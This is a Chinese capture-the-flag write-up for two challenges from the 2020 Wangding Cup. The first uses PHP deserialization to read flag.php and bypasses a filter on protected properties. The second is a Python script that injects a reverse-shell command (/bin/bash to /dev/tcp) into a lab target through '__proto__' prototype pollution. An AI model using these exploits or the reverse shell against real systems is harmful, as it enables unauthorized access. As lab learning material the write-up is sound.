网鼎杯 2020 青龙组

AreUSerialz

php 复制代码
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

又是一道反序列化的题目,代码很简单,绕过写,直接读flag.php文件即可,因为你写的内容永远是空的!

php 复制代码
if($this->op === "2")
    $this->op = "1";

强比较直接数字绕过即可!所以主要工作还是在下面这个waf的绕过

php 复制代码
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

我们知道在private和protected的属性被序列化的时候会出现不可见字符,但是在php7.1+的时候就不敏感了,所以我们可以直接在写exp的时候直接改成public即可!

php 复制代码
<?php

class FileHandler {

    public $op=2;
    public $filename='flag.php';
    public $content;
}
$a = new FileHandler();
echo urlencode(serialize($a));
?>

那么如果它php的版本不是php7.1+呢?那么就利用16进制进行绕过!将%00用\00代替,那么这么解析呢?将s改为S即可!

php 复制代码
<?php

class FileHandler {

    protected $op=2;
    protected $filename='flag.php';
    protected $content;
}
$a = new FileHandler();
$b = urlencode(serialize($a));
$b = str_replace('s', 'S', $b);
$b = str_replace('%00','\00',$b);
echo $b;
?>

notes

弹shell就好了

python 复制代码
import requests

r = requests.Session()
url = 'http://5daa3a2b-1248-48de-b563-0421f168055d.node5.buuoj.cn:81'

a=r.post(url + '/edit_note', data={
      'id': '__proto__',
      'author': '/bin/bash -i >&/dev/tcp/ip/port 0>&1',
      'raw': '111'
  })
print(a.status_code,a.text)
b=r.get(url + '/status')
print(b.status_code,b.text)

mvp结算画面!!!

相关推荐
Doro再努力8 小时前
【Linux操作系统10】Makefile深度解析:从依赖推导到有效编译
android·linux·运维·服务器·编辑器·vim
Daniel李华8 小时前
echarts使用案例
android·javascript·echarts
做人不要太理性9 小时前
CANN Runtime 运行时组件深度解析:任务调度机制、存储管理策略与维测体系构建逻辑
android·运维·魔珐星云
我命由我123459 小时前
Android 广播 - 静态注册与动态注册对广播接收器实例创建的影响
android·java·开发语言·java-ee·android studio·android-studio·android runtime
朗迹 - 张伟10 小时前
Tauri2 导出 Android 详细教程
android
lpruoyu11 小时前
【Android第一行代码学习笔记】Android架构_四大组件_权限_持久化_通知_异步_服务
android·笔记·学习
独自破碎E12 小时前
【BISHI15】小红的夹吃棋
android·java·开发语言
李堇15 小时前
android滚动列表VerticalRollingTextView
android·java
lxysbly16 小时前
n64模拟器安卓版带金手指2026
android
游戏开发爱好者819 小时前
日常开发与测试的 App 测试方法、查看设备状态、实时日志、应用数据
android·ios·小程序·https·uni-app·iphone·webview